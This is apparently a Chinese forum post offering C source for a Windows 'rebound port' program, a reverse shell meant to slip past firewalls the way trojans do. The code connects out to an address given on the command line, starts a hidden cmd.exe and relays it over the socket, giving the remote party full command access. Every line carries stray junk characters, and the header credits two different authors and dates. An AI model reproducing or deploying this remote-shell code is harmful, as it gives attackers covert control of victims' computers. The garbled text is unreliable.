这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2Y;!$0_rv
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/* ============================== avBu a6i'
Rebound port in Windows NT C#$6O8O
By wind,2006/7 P\T| [%E'
===============================*/ 5&*zY)UL
#include ;Z4o{(/zU
#include <tW:LU(!
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#pragma comment(lib,"wsock32.lib") YLmjEs%
#s{aulx
void OutputShell(); ] 9@X?q
SOCKET sClient; EZ{/]gCK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Of#K:`1@
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void main(int argc,char **argv) $l#{_~
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{ '%ebcL
WSADATA stWsaData; VWD.J
int nRet; CrO`=\
SOCKADDR_IN stSaiClient,stSaiServer; ]hKgA~;
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if(argc != 3) JaFUcpZk$
{ eQ\jZ0s;p
printf("Useage:\n\rRebound DestIP DestPort\n"); 6y9C@5p}B
return; u?Z
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} `I{ tZ$iD
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WSAStartup(MAKEWORD(2,2),&stWsaData); 117c,yM0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &D)2KD"N
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stSaiClient.sin_family = AF_INET; J[6VBM.Y
stSaiClient.sin_port = htons(0); Ju4.@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q ]0r:i=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )^";BVY
{ (M8hy4Ex
printf("Bind Socket Failed!\n"); W\NG>t
return; hbH#Co~o4#
} ke^d8Z.
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stSaiServer.sin_family = AF_INET; h(|;\ ~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Zd+>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =+4 _j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) egWx9xX
{ o"\{OX
printf("Connect Error!"); p>&S7M/9
return; i3d y
} LGfmUb-{]
OutputShell(); iU XM(]
} >+SZd7p
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void OutputShell() CdNih8uG
{ ^6#-yDZC@
char szBuff[1024]; . wmkj
SECURITY_ATTRIBUTES stSecurityAttributes; 1xIFvXru
OSVERSIONINFO stOsversionInfo; <uC<GDO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E$R_rX4x
STARTUPINFO stStartupInfo; wcl!S {
char *szShell; 8UYJye8
PROCESS_INFORMATION stProcessInformation; VRB~7\A5<)
unsigned long lBytesRead; xRB7lV*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s|E%~j[9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W.p66IQwL&
stSecurityAttributes.lpSecurityDescriptor = 0; U&s(1~e\
stSecurityAttributes.bInheritHandle = TRUE; {IrJLlq
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FTbtAlqh<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2$3kKY6$e
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }I)z7l.
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uqr{,-]5v
stStartupInfo.wShowWindow = SW_HIDE; l:x_j\
stStartupInfo.hStdInput = hReadPipe; | 4 `.#4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g/!Otgfu
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GetVersionEx(&stOsversionInfo); j37:
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switch(stOsversionInfo.dwPlatformId) VD9J}bgJ
{ 1P \up
case 1: /XN*)m
szShell = "command.com"; n-W?Z'H{r
break; [{?;c+[
default: *n,UOHlO
szShell = "cmd.exe"; m qpd
break; 69rwX"^
} F46O!xb%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7pd$?=__I
sb 8dc
send(sClient,szMsg,77,0); jKYm /}d
while(1) BjN{@aEO
{ ?f9$OLEB
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s
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if(lBytesRead) y6bjJ}
{ ti+pUlVrM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -;f+;
M
send(sClient,szBuff,lBytesRead,0); uO6c3|Zjs
} 4sI3(z)9H
else x)d2G6x
{ @|Z*f\
lBytesRead=recv(sClient,szBuff,1024,0); yTP[,bM
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5vYsA1Z
} S7Qen6lm
} 6OMb`A@/2
/m;O;2"
return; #.~.UHt
}